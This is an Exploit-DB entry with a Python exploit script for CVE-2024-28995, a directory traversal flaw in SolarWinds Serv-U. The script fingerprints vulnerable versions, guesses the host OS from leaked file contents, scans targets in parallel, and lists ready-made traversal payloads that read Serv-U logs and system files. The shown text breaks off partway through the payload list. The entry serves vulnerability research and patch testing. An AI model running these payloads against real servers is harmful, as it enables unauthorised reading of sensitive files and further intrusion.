Exploit-DB #52311
Description: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal
Type: remote
Platform: multiple
Date: 2025-05-29
Author: İbrahimsql

Exploit:
# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal 
# Date: 2025-05-28
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/ibrahimsql
# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server
# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration
# Version: <= 15.4.2 HF1
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-28995
# Description:
# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow
# attackers to read sensitive files on the host machine. This exploit demonstrates multiple
# path traversal techniques to access Serv-U log files and other system files on both
# Windows and Linux systems.
#
# References:
# - https://nvd.nist.gov/vuln/detail/cve-2024-28995
# - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/
# - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html

# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import concurrent.futures
import json
import os
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse

import requests
from colorama import Fore, Back, Style, init

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    pass

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

BANNER = rf'''
{Fore.CYAN}
   ______     _______     ____   ___ ____  _  _        ____  ___  ___   ___  ____  
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \( _ )/ _ \ / _ \| ___| 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \ 
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ (_) \__, |\__, |___) |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____\___/  /_/   /_/|____/ 
{Fore.YELLOW}                                                             
       SolarWinds Serv-U Directory Traversal Exploit                         
{Fore.RED}       CVE-2024-28995 by @ibrahimsql                                 
{Style.RESET_ALL}
'''

class ScanResult:
    def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):
        self.url = url
        self.is_vulnerable = is_vulnerable
        self.version = version
        self.os_type = os_type
        self.file_content = file_content
        self.path = path
        self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S")

    def to_dict(self):
        return {
            "url": self.url,
            "is_vulnerable": self.is_vulnerable,
            "version": self.version,
            "os_type": self.os_type,
            "path": self.path,
            "timestamp": self.timestamp
        }

def print_banner():
    print(BANNER)

def normalize_url(url):
    """Normalize URL to ensure it has http/https protocol."""
    if not url.startswith('http'):
        url = f"https://{url}"
    return url.rstrip('/')

def extract_server_version(headers):
    """Extract Serv-U version from server headers if available."""
    if 'Server' in headers:
        server_header = headers['Server']
        # Look for Serv-U version pattern
        match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)
        if match:
            return match.group(1)
    return None

def is_vulnerable_version(version):
    """Check if the detected version is vulnerable (15.4.2 HF1 or lower)."""
    if not version:
        return None
    
    try:
        # Split version numbers
        major, minor, patch = map(int, version.split('.'))
        
        # Vulnerable if lower than 15.4.2 HF2
        if major < 15:
            return True
        elif major == 15:
            if minor < 4:
                return True
            elif minor == 4:
                if patch <= 2:  # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable
                    return True
    except:
        pass
    
    return False

def get_request(url, timeout=15):
    """Make a GET request to the specified URL."""
    try:
        response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)
        return response
    except requests.RequestException as e:
        return None

def detect_os_type(content):
    """Detect the operating system type from the file content."""
    if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]):
        return "Linux"
    elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]):
        return "Windows"
    return None

def get_default_payloads():
    """Return a list of directory traversal payloads specific to CVE-2024-28995."""
    return [
        # Windows payloads - Serv-U specific files
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"},
        {"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"},
        {"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"},
        {"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"},
        {"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"},